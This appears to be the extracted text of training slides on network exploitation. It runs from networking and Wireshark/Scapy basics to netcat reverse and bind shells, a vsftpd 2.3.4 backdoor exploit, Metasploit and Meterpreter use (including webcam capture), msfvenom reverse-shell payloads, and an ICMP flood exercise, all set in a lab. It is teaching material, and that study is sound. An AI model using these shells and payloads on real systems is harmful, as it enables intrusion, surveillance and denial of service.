4.

NETWORK
EXPLOITATION
What is Computer Network ?

➤ Definition of Computer Network : Computer network is a set of computers

connected together for the purpose of sharing resources. The most
common resource shared today is connection to the Internet.
Everything we need to know about the Computer Network

➤ OSI Model ➤ Understanding IP, TCP, UDP Protocol

➤ TCP/IP Architecture ➤ Packet

➤ IP Address
➤ Data Frame
➤ Client-Server
➤ IP Packet
Architecture

➤ Ports ➤ TCP Packet

➤ Services ➤ TCP Flags

Network Essentials: OSI Model

➤ The “Open System Interconnection or Open Source Interconnection”

Reference Model was developed by the International Organization for
Standardization (ISO) in 1984.

➤ Open System Interconnection is a reference model which defines the

working of networking by categorizing the Networking model into 7
layers.
Client End OSI MODEL
APDU

PPDU

SPDU

PDU

Packets

Frame

Server End Bits

Network Essentials: TCP/IP Model

➤ TCP/IP model stands for the Transmission Control Protocol and Internet
Protocol, which is also known as Department of Defense (DOD) Model as
the Development of the Networking Model was funded by DARPA (Defense
Advanced Research Projects Agency).

➤ Unlike OSI model this model isn’t the reference model. The TCP/IP model is
majorly used as the practical model in most of the cases.
 SMTP, HTTP, FTP, TELNET
Network Essentials: TCP/IP Model

TCPand
➤ TCP/IP model stands for the Transmission Control Protocol & UDP
Internet
Protocol, which is also known as Department of Defense (DOD) Model as
the Development of the Networking Model was funded by DARPA (Defense
Advanced Research Projects Agency). IP, ARP, ICMP, IGMP
➤ Unlike OSI model this model isn’t the reference model. The TCP/IP model is
majorly used as the practical model in most of theData
cases.Link & Physical

TCP/IP MODEL
Network Essentials: TCP & UDP Protocol

➤ TCP (Transmission Control Protocol): Layer 4 protocol which provides

acknowledgement of the received packets and is also reliable as it
resends the lost packets. That is why TCP is also sometimes referred as
connection-oriented protocol.

➤ Example of Application protocols that uses TCP: HTTP, FTP, TELNET etc.

➤ UDP (User Datagram Protocol): Alike TCP, UDP is a Layer 4 protocol but
unlike TCP it doesn’t provide acknowledgement of the sent packets. Due to
which the UDP is referred as connection-less protocol.

➤ Example of Application protocols that uses UDP: Used in Video or Voice

Streaming Applications.
Network Essentials: Software-Based Ports

➤ These Ports are basically used for hosting services and connecting to the
provided services in a computer network. The Ports are basically program
that defines the protocol in which the information or data will be shared
from one communication endpoint.

➤ There are basically two types of ports in TCP/IP Suite:

■ TCP (Transmission Control Protocol)
■ UDP (User Datagram Protocol)
Network Essentials: Ports

➤ Ports: Ports are defined as connections or communication endpoints.

➤ There are mainly two types of ports:

■ Hardware-Based Ports: These are the physical ports that is present on the
computer system
■ Software-Based Ports: Software-based ports exist at the operating
system level and using these ports the different services or application
can be simultaneously hosted.
Network Essentials: MAC Address

➤ MAC Address: MAC Address also known as the hardware address is a

unique identifier which is assigned to the Network Interface Card which is
used as the network address in the computer network.

➤ MAC address is given to a network interface card when it is

manufactured and that is why it is sometimes referred as networking
hardware address or burned-in address .

➤ Example of MAC Address: 00:0a:95:9d:68:16.

Network Essentials : IP Address

➤ IP Address: Internet Protocol Address can be defined as the identity of

computer on Internet. It is the address on which the resources can be
shared by the other computers.

➤ IP Address is of two types:

■ IPv4: IPv4 consist of four sets of numbers from 0 to 255, separated by three
dots.

Example: 73.54.67.10

■ IPv6: IPv6 contains eight sets of four hexadecimal digits and uses colons to
separate each block.

Example: 2602:0445:0000:0000:a93e:5ca7:81e2:5f9d
Network Essentials: Packets

➤ Packet is the unit of the data that is used to carry the data from the origin to
destination in a TCP/IP network.

➤ At every layer of TCP/IP Protocol Suite or Model a the unit of data is

modified.

➤ Starting with application layer the user provides the data.

➤ The Diagram explains every single detail about the unit of data i.e. packets
in the TCP/IP Suite.
 Packet Chronology

Network
Packet

Ethernet Transport Network Ethernet

Data
Header Header Header Trailer

TCP UDP
Header Header
Packets in TCP/IP Model or Protocol Suite
Network Essentials: IP Packet
Network Essentials: TCP Packet
 Destinatio
Network Essentials: TCP Packet n Port is
the port
on which
Source service is
Port from hosted by
which the server
Request is
sent number of
bytes
number of received
bytes sent

Receiver
• Data Offset: This Window
indicates where the Size
data begins
• Reserved: Reserved for
future use URG
• Code(Flag): Flags these Control
are the Control Bits BIT
XOR for
Header Raw Data or the Payload Mainly
Composed
Options
of 0’s
Network Essentials: TCP-IP Packet
Network Essentials: UDP Packet
TCP FLAGS or TCP Control Bits

➤ URG: Urgent Pointer field significant

➤ ACK: Acknowledgment field significant

➤ PSH: Push Function

➤ RST: Reset the connection

➤ SYN: Synchronize sequence numbers

➤ FIN: No more data from sender

DECODING THE ELEMENTS OF
NETWORK
Introduction to Sniffers
Wireshark : Go Deep.

➤ Wireshark is an Open-Source and widely used network packet analyzer

which let’s us see the network flow at a microscopic level and is the de
facto (and often de jure) standard across many commercial and
non-profit enterprises, government agencies, and educational institutions.

➤ Using Wireshark we can see the in-depth detailing of network packets and
the structure of the packets.

➤ We will be extensively using Wireshark in this module so let’s learn the

basics of this awesome tool.
Wireshark : Go Deep.

➤ You could think of Wireshark as a measuring device for examining

what’s happening inside a network cable, just like an electrician uses a
voltmeter for examining what’s happening inside an electric cable (but
at a higher level, of course).

➤ Not Just for the security purposes, it is majorly used in the organization
by the network administrators, network engineers, QA engineers for
purposes like troubleshooting, protocol implementations.

➤ But we will use Wireshark to learn about the network and network
protocol internals.
 Running Wireshark on Kali Linux

➤ Wireshark comes already installed in Kali Linux so we only need to call the
tool to start sniffing from the command prompt.

➤ The Wireshark GUI will be prompted which will look similar to below fig.
Running Wireshark on Kali Linux

➤ The Blue fin present on the toolbar can be used to enable the sniffing on
the selected interface.
Capturing Packets

➤ After clicking on the blue fin we can see the Wireshark header shows that
we have started capturing packets transferring on the interface “eth0”.

➤ Now Let’s start capturing some packets.

Capturing some packets.

➤ Let’s bring do some trade in the packets and capture them.

Basics of Filters in Wireshark

➤ Filters are used to get the output of the packets that we desire to see as the
output that were captured by Wireshark.

➤ For Example we can type : icmp which we will show all the ICMP packets
that are captured by Wireshark.
Basics of Filters in Wireshark

➤ Wireshark provides a extensive option for filtering the display output.

➤ The list of filter option can be seen here:

https://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf

➤ By applying some of the filters we can see the display output is changed.

➤ These filters are accompanied some comparison operators which we

learn in the next part.
Using Comparison Operators with Filters

➤ The Comparison Operators can be used to query the specific output. The
Below example can be used to derive only the packets in which the
destination IP is “192.168.152.149”. (filter: ip.dst eq 192.168.152.149)
Using Comparison Operators with Filters

➤ Let’s look into another example in which we filter the output on the basis
of TCP Source Port. (filter: tcp.dstport eq 5050 )

➤ As we can see in the below example we have a HTTP server running on

port 5050 and the filter above will help us display only the TCP packets
which have the destination port as 5050.
Saving the Network Traffic in a PCAP File.

➤ PCAP (Packet Capture File) is an application programming interface (API)

for capturing network traffic.

➤ In order to save the network traffic in a PCAP using Wireshark we will follow
the below steps :
■ We need to stop the packet capturing.
■ Then we will go to the file option > and select save as > “name of the file”
> save as pcap.
Saving the Network Traffic in a PCAP File.

➤ Stop the capture by clicking on red fin.

➤ Saving the file as .pcap

Demo 1 : Analyzing captured credentials
via wireshark
Demo 2 : Analyzing malicious traffic
via wireshark
Introduction to Scapy

➤ Scapy is a python based library which is used in framing, forging, dissecting

and sending the network packets as well as receiving network packets.

➤ We will discuss about Scapy in detail in this module in order to learn about :

■ Framing of the Network Packet

■ Learning the Network Packet Encapsulation
■ Packet Manipulation
Installing & Running Scapy on Kali

➤ For Installation of Scapy on kali : apt-get install scapy

➤ For Running scapy on kali just write scapy.

Demo 1 : Exploring Scapy
Framing a Packet: Learning the Packet Encapsulation

➤ In order to frame a packet we need

to understand the packet
Encapsulation.

➤ As you can see in the following

diagram we framed a packet with 3
layers
■ Ether()
■ IP()
■ TCP()

(with no information given to any layer)

Packet Encapsulation in-depth

Ether()

IP()

TCP()
Packet
Packet Encapsulation: Going Through Ether()

➤ In order to see what fields are there

to provide in the Ether () layer we
use command:
Command : ls(Ether)
On the Output we can see there are
number of fields that can be provided
to the layer like:
■ dst: is for providing Destination MAC
Address.
■ src: is for providing Source MAC
Address.
Packet Encapsulation: Going Through IP( )

➤ Similarly we will list all the fields

present in the IP().
Command: ls(IP)
On the Output we can see there are
number of fields that can be provided
to the layer like:

■ len: defines the packet length

■ src: defines the source IP Address
■ dst: defines the destination IP Address
Packet Encapsulation: Going through TCP()

➤ Similarly we can list all the fields

that can be defined in a TCP packet.

Command: ls(TCP)
On the Output we can see there are
number of fields that can be provided
to the layer like:
■ sport: for defining the source port
■ dport: for defining the destination port
■ flags: for defining the flag type (like
ACK, SYN, FIN, PSH, URG, RST )
 Packet Encapsulation: Specifying essential fields in all layers
(TCP Packet)

Defines the
Source IP Address src
dst Defines the
Defines the dst Destination MAC
Destination IP Address
Address IP Packet Ether
Time
to Live ttl Defines the
src
TCP Source MAC
Defines the len
Address
Length of Packet
sport dport flags window

Define Defines Define Define

s the the s the s the
Source Destinatio TCP Windo
n Port
Port Flags w size
Packet Encapsulation: Building Ethernet Frame

➤ Getting the source mac address using

command : ifconfig -a eth0 | grep ether
➤ We don’t need to specify the destination
MAC address in this case.
➤ Scapy provides the user with the
capability of saving the layer function in a
variable, so lets make a variable “ether”.
Command: ether = Ether(src=“Source Mac
Address”)
Once we have frame the Ethernet part of the
packet. We can display all the fields of the
ethernet part of the packet.
Command: ether.display()
 Packet Encapsulation: Building IP packet

➤ Getting the Source IP address from

command line.
Command: ifconfig eth0 | grep inet
➤ We know the Destination IP Address
which in this case is “192.168.152.157”
➤ We will only need to provide src and
dst fields to IP() Layer.
Command: ip = IP(src="192.168.152.156",
dst="192.168.152.157")
➤ Now in order to see all the fields of
the layer we can use below
command.
Command: ip.display()
Packet Encapsulation: Building TCP packet

➤ We know the Destination Port which

in this case is 21
➤ Source port can be anything
varying from (1-65535)
➤ We will only need provide sport and
dport fields to TCP() Layer.
Command: tcp = TCP(sport=“49499”,
dport=“21")
➤ Now in order to see all the fields of
the layer we can use below
command.
Command: tcp.display()
Stacking all the Layers to send a packet

➤ In order to stack ip and tcp layer into

one packet we can use the following
command syntax:
Command : packet = ip/tcp
➤ In order to see all the information
provided by us at each layer we can
use the following command syntax:
Command : packet.display()
Now that we have learnt to create a
network packet we will experiment by
sending and receiving the packet over the
network.
Demo 2 : Creating Packets with different
protocols

1. ICMP

2. TCP
Sending a network packet & analysing using Wireshark

➤ For sending the packet

using scapy we can use
the following command
syntax:
Command : send(packet)
Sending & Receiving the packets

➤ Scapy offers the functionality of

sending and receiving the
packet.
➤ This is done by sr() function
which gives two values :
■ ans: answered packets is stored
in this variable.
■ uans: un-answered packets is
stored in this variable.
Demo 3 : Sending & Analyzing packet
responses
Demo 4 : Host Discovery using Scapy

● ICMP Ping

● TCP SYN Ping

Demo 4 : Host Discovery using Scapy

● ICMP Ping

● TCP SYN Ping

NOTE : Kindly refer to the next page image.

Reference

Reference :
https://0xbharath.github.io/art-of-packet-crafting-with-scapy/network_recon/os_detection/index.html
Lab Setup

➤ 2 Machines are required for the below exercises

➤ Make sure that the metasploitable VM is ready & accessible from

Parrot Machine.

➤ Double check the network connectivity between parrot &

metasploitable machine

➤ Replicate all the exercises step by step for each section.

Exploitation Basics

Exploit: -
➤ It is the actual code through which can attacker take advantage of a
particular loop-hole.

Vulnerability: -
➤ The loop-hole existing in a particular software or hardware can be called as
vulnerability.
➤ It can also be understood as a weakest link which allows an attacker to
compromise the system.
Example: -

Vulnerability
Payload:-

➤ Payload is attached with the exploit and delivered to the target system.

➤ It enables to take control of the target machine.

➤ It can be a malicious executable, a malicious doc file etc.

➤ A payload have malicious intent to control the system under attacker

commands.

➤ Once the payload is executed, the attacker have full privileged access to
the target system.
Listener: -

➤ Listener waits for an incoming connection from the target machine.

➤ In our lab scenario, we will listen on our Kali machine and the target
machine can connect back to our machine after successful exploitation.

➤ Basically listening means opening a port and waiting for connection

from the target machine.

➤ Tools like netcat is one of the best example available for both windows
and linux platforms.
Introduction to Exploitation

➤ Exploitation is a phase to be performed after proper identification of a

vulnerability.

➤ A Service running on a system, a Web Application, software are the

primary target for exploitation.

➤ Improper identification of the vulnerability with various incompatibility

issues may crash the vulnerable/target service or software.

➤ Hence the target must be intensely enumerated before entering in this

phase.
➤ Basically, in this phase the attacker enters the target system after taking
advantage of the existing vulnerability in the product.

➤ The access can be physical or remote, but we will demonstrate in a

remote situation.

➤ If the exploit succeeds, the actual code of the payload runs.

➤ Scenario specific example :-

A computer lab in which we have two students doing work on their
computers. After some time one of the students goes out for a tea break and
he responsibly locks down his computer. The password for that particular
locked computer is “Master”, which is a very simple dictionary word and is a
system vulnerability. The other student starts to attempt a password
guessing attack against the system of the student who left the lab. This is a
classic example of an exploit.
 Exploit runs
first & if
successful
then payload

Exploit + Payload

Data transfer, more malicious tool

installation, etc
Vulnerable System
Attacker
➤ Shells are non-GUI interaction with the system, one can interact &
manage the environment of the system through shell.

➤ It is used for administration purposes & at times described fruitful

compared to GUI.

➤ Examples:
■ In Windows:
● Command Prompt
● Power Shell
■ In Linux:
● Bash shell
● sh shell
➤ During exploitation, we will encounter various scenarios where we take
shells of target systems on our attacker machine (aka reverse shell)

➤ That means, we have access to the system & can interact with the
target system & can manipulate the file system too.

➤ Generally, during pentest process we will encounter scenes where we

cannot take reverse shells, there we leave a port open & connect to the
target machine (called bind shell).

➤ Let’s understand reverse shell & bind shell using examples:-

Reverse Shells

➤ Here, the target machine connects back to the attacker box.

➤ All communication goes through specific TCP ports.

➤ We need to have listener active on the attacker machine.

➤ We will take example of the swiss army knife tool (aka netcat).
Overview of reverse shell

Figure: Connection is made from the victim machine

➤ For reverse shell, on the attacker box (Kali), execute the following
command:
nc –lvp 443

➤ Here, we are calling netcat & the option ‘lvp’ specifies for listen, verbose,
port.

➤ On the target machine (here linux box), execute the following command:
nc <attacker_box_ip> <attacker_listen_port> -e /bin/bash

➤ ‘e’ option stands for execute program, here we mean to execute bash
shell to the reverse shell.
➤ As soon as the command on the victim machine is executed:

➤ We will be presented with a beautiful reverse shell on our attacker

machine (kali):
Demo 1 : Reverse Shell Demonstration
Bind Shells

➤ Here the attacker machine connects to the victim system.

➤ The attacker opens a TCP port on the victim machine & host a shell.

➤ That means anyone who connect to the target machine & on a specific
port will be presented with a shell.

➤ The shell can then be used to spread the compromise.

Overview of Bind shell

Figure: Connection is made from the attacker machine

➤ For Bind shell, execute the following on victim machine to activate
listening:

nc –nlvp 5555 –e /bin/sh

➤ This tells that anyone who connects to victim box on TCP port 5555 must
be presented a ‘/bin/sh’ shell, ‘-e’ option is for execution.

➤ Connect via netcat to the victim machine through the following

command:

nc <victim_ip> <victim_port>
➤ Executing command on the victim machine:

➤ As soon as the command is executed by the attacker for connection to

victim machine.
Demo 2 : Bind Shell Demonstration
Typical system compromise process

➤ Actively scan the target IP address and look for open TCP and UDP
ports.

➤ Scan the service thoroughly to figure out service version, all for
identification of a vulnerable service.

➤ Look for publically available exploits, customize them according to the

target environment etc.

➤ Launch exploit, compromise and post-exploitation activities.

➤ To discover the IP address of the target machine.

➤ Also prior to this the attacker have to collect all the tools like nmap for
port scanning, look for publically available exploits etc.

➤ Incorporate port scanners to find remote services.

➤ Intense service scan tools to identify services and their versions.

DEMO
➤ Exploitation Process :

Machine Vulnerable running

Vsftpd 2.3.4 service
Attacker Machine IP: 192.168.100.141
IP: 192.168.100.140
➤ Port scan the target machine for identifying TCP, UDP ports open.
nmap 192.168.100.141
➤ We narrow down the target to TCP port 21, now target the service version
of the FTP service.

➤ The service version is identified to be “vsftpd 2.3.4”

➤ Look for publicly available exploits and customize them according to
the target environment.

➤ In this demo, the public exploit can be found at the following location: -
https://github.com/In2econd/vsftpd-2.3.4-exploit

➤ Dependencies: - python3, various libraries to be installed before finally

launching the exploit as this may crash the target service.
➤ After fulfilling the requirements launch the exploit and our command gets
executed at the target system.
python3 vsftpd_234_exploit.py 192.168.100.141 21 whoami
Exercise 1 : Look for other ways of initial
access using BIND Shell
Challenges for typical approach

➤ Dozens of exploits available, still left for managing, updating and

customizing them.

➤ Customization of exploit may require high skills and understanding

proper working of it.

➤ Testing and making of exploit is tedious without a framework.

Introduction to Metasploit Framework

➤ Metasploit is a penetration testing framework incorporating over 1900+

unique exploits and 570+ payloads in it.

➤ It is open source and free for use.

➤ The typical pentesting

approach can be automated
using this.
➤ It is heavily used for:
■ Exploit Research
■ Penetration Testing
■ Payload Testing
■ IDS signature development

➤ Written by HD Moore with <3 in ruby.

➤ Can be thought as a bundle of various exploits, payloads and AV

evasion modules and easy to use.

➤ Offers customization of payload with different exploits. This alone is a

huge advantage for security researchers.
➤ Because of this, it is easy to organize your own developed exploits and
payload to test against the target system.

➤ It covers approx. all type of exploitation methods and tries to fit in almost
every scenarios.

➤ We will cover 2 parts of exploitation through scenarios.

■ Network Exploitation
■ Web Exploitation

➤ Let’s get familiar with the Metasploit functionalities and start attacking the
target system.

Note: Proper enumeration of the target must be done before any exploitation phase.
Understanding Metasploit Framework

➤ Metasploit offers various exploitation functionalities via command line

which are discussed below: -
■ Core Commands
■ Module Commands
■ Job Commands
■ Resource Script Commands
■ Database Backend Commands
■ Credentials Backend Commands
■ Developer commands

➤ We will discuss the Core Commands & Module Commands.

➤ Metasploit have modular architecture which means all the exploits and
payloads are organized by OS and then service.

Attacker can access the

interface of Metasploit

➤ Modules: - Exploit, Payload, Encoders, NOP and Auxiliary modules are

arranged in accordance to OS.
Exploring Metasploit Directories

➤ In kali linux, Metasploit is installed by-default in the

“/usr/share/Metasploit-framework” directory.

➤ It is so well organized that it is easy to port your custom modules (in ruby)
to the framework and seamlessly test it against the target.

➤ All the modules are stored in a separate folder called “modules” and the
others in their respective directories.
➤ Some of the important directories of the framework are:-
■ Modules
■ Scripts
■ Plugins
■ Tools
■ Data
■ Config

➤ All the modules are organized as follows: -

➤ Modules: -
These are the payloads or exploits present in the Metasploit framework, here
referred as modules. One can customize their own module.

➤ Auxiliary Modules: -
These are just recon modules basically used for collecting information about
the target, actively or passively. Presence of “Auxiliary” word identifies this.
Example: -
“auxiliary/scanner/rdp/cve_ 2019_0708_bluekeep”

➤ Exploit Modules: -
The original exploit which the attacker would select before launching is
referred as exploit modules. They have “exploit” word in it. Example: -
“exploit/windows/rdp/cve_2019_0708_bluekeep”
➤ Sessions: -
Sessions are connection made from (or made by other system to )
Metasploit framework. The attacker controlling the Metasploit framework is
actually a command & controller server (C2 server) .

➤ Parameters: -
Parameters are essential fields attached to a specific module which may or
may not be essential for exploitation activities.

➤ LHOST: -
This is the IP address of the attacker machine and generally referred as
Listening host.
➤ RHOST: -
The IP Address of the target machine (Victim machine), referred as Remote
host.

➤ LPORT: -
The listening port of the attacker machine is LPORT. Generally, it is the port
where the attacker waits for incoming connection from the victim machine.

➤ RPORT: -
The remote port of the target machine. This will guide the Metasploit to
target a specific port given of the user choice on the target machine.
➤ Payload Modules: -
There are 3 types of payload modules: - singles, stagers, stages. They are
present at the “/usr/share/metasploit-framework/modules/payloads”
directory.

Each payload is arranged according to the Operating System Platform.

➤ Singles
■ These are self-contained payload assigned to do a specific task that is,
create a user, or a bind shell.
■ Example: payload/windows/adduser

➤ Stagers
■ These type are payload are used to download large payload to the target
machine from the attacker machine.
■ Creates a network connection between attacker & compromised machine.
■ Example: payload/windows/shell/bind_tcp

➤ Stages
■ These are the large payload downloaded by the stagers & then executed.
■ Assigned to do complex tasks like Remote Desktop, meterpreter etc.
■ Exmaple: payload/windows/shell/bind_tcp
➤ Core Commands: -
These commands are used for interaction with the Metasploit framework
and all the connections made to it. One of the best example is ‘help’
command which displays all the available commands present for the user.
Below table shows the command as well as it’s description.

Commands Description
help Show all available commands
quit To exit the console
sessions List all the available sessions
set Set a specific value to parameter
unset Unset value attached to a parameter
version Display the version of Framework & console

Table: 1
➤ Module Commands: -
These commands are used to interact with modules available in the
framework. Example: - There are tons of exploits in the framework, if you
need to search a particular module, then this can be done through ‘search’
command.
Command Description
search For searching in available modules
advanced Displays advanced options of a module
use Especially used for interacting with a module
show Displays modules of a given type, or all modules
options To list all the parameters needed in a particular
module
reload_all For reloading all the modules in the framework

Table: 2
Network Exploitation

➤ Network means connection of more than one system so that they can
communicate with each other. There can be multiple systems on a single
network.

Internet

➤ Exploitation of network means abusing network-level functionalities.

➤ Identification of open ports, the services specifically it’s version is
important before exploiting any system.

➤ The main motive of the attacker is to gain access to sensitive information

like passwords, classified files and bank account details present in the
information system.

➤ We will try to find vulnerabilities in the target system to secure the

network.

➤ We will automate the typical process of exploitation using Metasploit.

Note: The values and parameters used in Metasploit is case-insensitive.

Exercise 2

➤ Exploiting VSFTPD 2.3.4 via Metasploit Toolkit

Machine Vulnerable running

Attacker Machine with Metasploit Vsftpd 2.3.4 service
IP: 192.168.100.140 IP: 192.168.100.141
➤ Fire up Metasploit using the following command:-

msfconsole
Recon using Metasploit

➤ Search for port scan module & load it in the console: -

search portscan/tcp
use auxiliary/scanner/portscan/tcp
➤ Check all the required options in the selected module. The one with
‘required’ equals ‘yes’ are important and the values must be passed to
these parameters.
options
set rhosts 192.168.100.141
➤ Now, run the auxiliary module to discover open TCP port of the target
machine.
Enumeration using Metasploit

➤ We will narrow down our approach to the FTP service running on TCP port
21. To fingerprint the service running let’s use the “ftp_version” module.
search ftp_version
use auxiliary/scanner/ftp/ftp_version
➤ Now look for options corresponding to the selected module and set the
parameter fields as follows: -
options
set RHOSTS 192.168.100.141
➤ When run, this module will try to connect to the target IP and port and
fetch out the banner from the service running on the system.

➤ The module successfully identified the FTP service version.

➤ Look how easy it is to run and configure options of a module with

Metasploit.
➤ Search for the available exploit modules of ‘vsftpd’ in the framework
and load it for configuring the exploit.
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
➤ To configure the exploit we need to provide the IP address of the target
host and the target port (if running on port other than default port).

➤ Only two options

i.e. the target IP address
and the target port
should be given as input.
➤ As previously said, a payload is a malicious code which runs after
successful execution of the exploit. We need to set the payload which will
run right after execution of the exploit.

➤ Metasploit have the capability to list the payload compatible with the
exploit module. This can be done through the following command: -
show payloads
➤ Attach the following payload to the exploit through this command: -

set payload cmd/unix/interact

➤ This should be noted that there can be many payloads compatible with
exploits and it depends on the target architecture and OS platform to
choose the right one.
➤ Now everything is set let’s launch the exploit and wait for execution of our
payload through which we can interact with the target system.

➤ To launch the exploit use ‘run’ or ‘exploit’ command.

➤ Our command gets executed at the target system without any interaction
with the target system, this is the beauty of the remote exploit.
➤ However, the payload through which we interacted with the target
system have some limitations like: -
■ Limited set of commands
■ Not interactive
■ May get detected by Anti-Virus (in case of Windows)
■ May trigger IDS alarm.

➤ We need a payload which: -

■ Provide interactive commands
■ Not trigger any alarm to AV or IDS
■ Provides an interface which allows importing of more scripts to the target
machine.
■ Do not create any new process.
Introducing Meterpreter

➤ It is an advance payload which uses in-memory injection techniques and

runs after successful exploitation of the target system.

➤ Do not create any files on the target disk.

➤ Comes with default set of core commands.

➤ Enables encrypted communication with the compromised system.

➤ Provides an interactive interface to control the target machine.

➤ It is Extensible, flexible and stable.

➤ Actions which can be performed with meterpreter payload.

■ Command execution
■ Upload/Download files
■ Registry read/write Exploit
■ File system access
■ Moving from one system to another system.
• Meterpreter

➤ The best thing about meterpreter is that we can pivot (or move) from
one machine to another connected machine (accessible from the
compromised machine).
Working of Meterpreter

Exploit + 1st stage Payload

Payload connects back to Metaploit

2nd stage payload sent (DLL injection)

Meterpreter Server DLL is sent

Session is established
Exercise 3
➤ In this exercise, we will upgrade our session to meterpreter on the FTP
service through which we have previously compromised the target
system.

Meterpreter
communication

Attacker Machine Compromised Machine

IP: 192.168.100.140 IP: 192.168.100.141
➤ An active session with the target machine [192.168.100.141] is already
assumed and we will upgrade our session to meterpreter session.

➤ Background the active session by pressing “ctrl+z” and background the

session.
➤ Search for “shell_to_meterpreter” and select the resulting module.

search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter

➤ The module is selected and is ready for configuration.

➤ Look at the parameters of the selected modules.
options

➤ “LHOST” parameter is not required to run the module as the session ID

already specified.
➤ Just run the module and wait for a new session connection, this would
be the upgraded meterpreter prompt.
run
➤ The active sessions can be listed by the following command: -

sessions

➤ Our newly spawned meterpreter session having ID 2 is waiting for

interaction.
➤ Interact with the 2nd session by issuing the below command: -
sessions –i 2

➤ It is clearly seen that we are presented with a meterpreter prompt, let’s

look at some of the functionalities and the types of various operations
that can be performed with the compromised machine through this
payload.
➤ Issue the “help” command to list the available commands to execute.
 ➤ Just look at the ease, the meterpreter payload provide to the attacker
interface

Meterpreter
Commands

Mic & Audio

Webcam Commands
Commands

Core Commands System

File system Networking
Commands
Commands Commands

➤ Let’s look at some of the interesting commands of this advance payload.

➤ List all the running processes at the target system with just one command.
ps
➤ All the processes are clearly visible in
the console with process ID and the
privileges of the process.
➤ A high privilege process can help us in
escalating our privileges (we will cover
in next modules).
➤ The TCP ports of the compromised machine can be seen directly when
interacting with meterpreter payload.

➤ This can provide is with a handful of information as it may give us IP

addresses of some of the lockdown machines in the network.
➤ This is the most interesting part, one can turn on the webcam (if present)
of the compromised machine.
➤ To list the available cameras attached to the machine, use: -
webcam_list

➤ And, now to stream live video of the camera attached to the target
machine, use: -
webcam_stream
➤ One can snap the picture of the person using the compromised system.

➤ Think of undisclosed exploits compromising systems then capturing &

collecting pictures ☺
Generate payload on the fly

➤ Metasploit offers one liner payload creation utility ‘msfvenom’.

➤ Allows to generate a large pool of payloads in various formats: -

■ Executable
■ php
■ c, c++
■ vba, psh, ps1
■ bash, perl, powershell, python, ruby
■ csharp, java
■ war, etc
➤ Just type the command “msfvenom” to list all the functionalities of the
tool.

➤ To generate an Windows based executable with meterpreter payload, use

the following command: -

msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS

IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe

➤ Similarily, to generate a meterpreter payload for android platform use: -

msfvenom -p android/meterpreter/reverse/tcp LHOST={DNS / IP / VPS IP}

LPORT={PORT / Forwarded PORT} R > example.apk
➤ The awesome utility offers also for web based payloads.

➤ To generate a meterpreter payload of PHP use the following: -

msfvenom -p php/meterpreter_reverse_tcp LHOST={DNS / IP / VPS IP}

LPORT={PORT / Forwarded PORT} -f raw > example.php

➤ As soon as the payload is generated, the listener on the attacker machine

should be started with the respective payload used to generate the
malicious stuff.
➤ Here is an example on how to start the listener on the attacker machine: -
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload
windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.100.141
lhost => 192.168.100.141
msf exploit(multi/handler) > set LPORT 4444
lport => 4444
msf exploit(multi/handler) > run

➤ Once the payload is executed at the victim end, we can communicate

with the machine.
Task

➤ Scope of engagement: - Metasploitable Machine IP Range

■ Target System IP address: - Victim Machine (Metasploitable)
■ Target TCP Port: - TCP Port Range
■ Exploitation Framework: - Metasploit FrameWork

➤ Enumerate the target & try to gain access via a shell session to the target
machine.
Module 4 : Capstone Project

➤ Document all possible ways of initial access (strict manual approach)

on the Metasploitable machine

➤ Program that floods using ICMP packets to a target in Python

➤ As an addition to the above, increase the packet payload size.

➤ Write a code that fingerprint a remote machine in python (Windows /

Linux)
 Thank You
For Professional Red Team / Blue Team / Purple Team,
Cloud Cyber Range labs / Courses / Trainings, please contact

[email protected]

To know more about our offerings, please visit:

https://cyberwarfare.live